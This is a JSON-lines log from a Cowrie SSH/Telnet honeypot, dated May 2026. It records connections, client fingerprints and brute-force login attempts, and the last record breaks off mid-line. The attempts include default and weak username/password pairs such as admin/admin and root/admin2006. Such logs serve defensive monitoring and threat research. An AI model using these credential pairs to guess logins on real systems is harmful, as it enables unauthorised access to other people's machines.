{"eventid":"cowrie.login.failed","username":"admin","password":"kedacom","message":"login attempt [admin/kedacom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:57.297486Z","src_ip":"190.181.25.210","session":"52bd743092ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:57.723349Z","src_ip":"2.57.121.25","session":"565219319eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:28:58.419408Z","src_ip":"190.181.25.210","session":"52bd743092ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.17696475982666,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:01.469777Z","src_ip":"212.55.149.117","session":"43186ec37822","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.122.222.227","src_port":52932,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e6b0ce86829","protocol":"ssh","message":"New connection: 34.122.222.227:52932 (10.17.0.5:22) [session: 1e6b0ce86829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:06.616752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:06.670204Z","src_ip":"34.122.222.227","session":"1e6b0ce86829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:06.709856Z","src_ip":"34.122.222.227","session":"1e6b0ce86829","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:07.120104Z","src_ip":"34.122.222.227","session":"1e6b0ce86829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:07.190537Z","src_ip":"34.122.222.227","session":"1e6b0ce86829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":55274,"dst_ip":"10.17.0.5","dst_port":22,"session":"174078740562","protocol":"ssh","message":"New connection: 130.12.180.51:55274 (10.17.0.5:22) [session: 174078740562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:07.504351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:07.509387Z","src_ip":"130.12.180.51","session":"174078740562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:07.592915Z","src_ip":"130.12.180.51","session":"174078740562","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:07.850194Z","src_ip":"130.12.180.51","session":"174078740562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:08.388402Z","src_ip":"130.12.180.51","session":"174078740562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":58312,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e3a13cfbe6a","protocol":"ssh","message":"New connection: 98.70.48.241:58312 (10.17.0.5:22) [session: 9e3a13cfbe6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:12.582675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:12.588271Z","src_ip":"98.70.48.241","session":"9e3a13cfbe6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:12.778431Z","src_ip":"98.70.48.241","session":"9e3a13cfbe6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2006","message":"login attempt [root/admin2006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:13.564487Z","src_ip":"98.70.48.241","session":"9e3a13cfbe6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:14.760840Z","src_ip":"98.70.48.241","session":"9e3a13cfbe6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":58550,"dst_ip":"159.203.135.109","dst_port":22,"session":"13c4baa8a53c","protocol":"ssh","message":"New connection: 80.94.92.168:58550 (159.203.135.109:22) [session: 13c4baa8a53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:15.621074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:15.944872Z","src_ip":"80.94.92.168","session":"13c4baa8a53c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:15.949086Z","src_ip":"80.94.92.168","session":"13c4baa8a53c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:17.751819Z","src_ip":"80.94.92.168","session":"13c4baa8a53c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:19.120351Z","src_ip":"80.94.92.168","session":"13c4baa8a53c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00311970710754,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:21.229228Z","src_ip":"212.55.149.117","session":"10bc72636fad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.836458683013916,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:23.140953Z","src_ip":"85.11.167.7","session":"958b86742e60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38810,"dst_ip":"10.17.0.5","dst_port":22,"session":"2afa75faa95a","protocol":"ssh","message":"New connection: 103.15.226.202:38810 (10.17.0.5:22) [session: 2afa75faa95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:33.879826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:33.884837Z","src_ip":"103.15.226.202","session":"2afa75faa95a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:34.131243Z","src_ip":"103.15.226.202","session":"2afa75faa95a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"DuyVPS123","message":"login attempt [ubuntu/DuyVPS123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:34.846685Z","src_ip":"103.15.226.202","session":"2afa75faa95a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:36.088443Z","src_ip":"103.15.226.202","session":"2afa75faa95a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":38467,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa6b8d082a98","protocol":"ssh","message":"New connection: 190.181.25.210:38467 (10.17.0.5:22) [session: aa6b8d082a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:55.440915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:55.447942Z","src_ip":"190.181.25.210","session":"aa6b8d082a98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:55.576758Z","src_ip":"190.181.25.210","session":"aa6b8d082a98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ","message":"login attempt [ubuntu/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:56.102471Z","src_ip":"190.181.25.210","session":"aa6b8d082a98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:29:57.230093Z","src_ip":"190.181.25.210","session":"aa6b8d082a98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":55718,"dst_ip":"10.17.0.5","dst_port":22,"session":"d075cf0a208e","protocol":"ssh","message":"New connection: 98.70.48.241:55718 (10.17.0.5:22) [session: d075cf0a208e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:30:13.648517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:30:13.654754Z","src_ip":"98.70.48.241","session":"d075cf0a208e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:30:13.844581Z","src_ip":"98.70.48.241","session":"d075cf0a208e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"ved","message":"login attempt [dev/ved] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:30:14.635741Z","src_ip":"98.70.48.241","session":"d075cf0a208e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:30:15.829571Z","src_ip":"98.70.48.241","session":"d075cf0a208e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":19908,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3be32b66a70","protocol":"telnet","message":"New connection: 212.55.149.117:19908 (10.17.0.5:23) [session: e3be32b66a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:30:23.471997Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":46523,"dst_ip":"10.17.0.5","dst_port":22,"session":"86befc30798a","protocol":"ssh","message":"New connection: 190.181.25.210:46523 (10.17.0.5:22) [session: 86befc30798a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:30:56.990187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:30:56.995259Z","src_ip":"190.181.25.210","session":"86befc30798a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2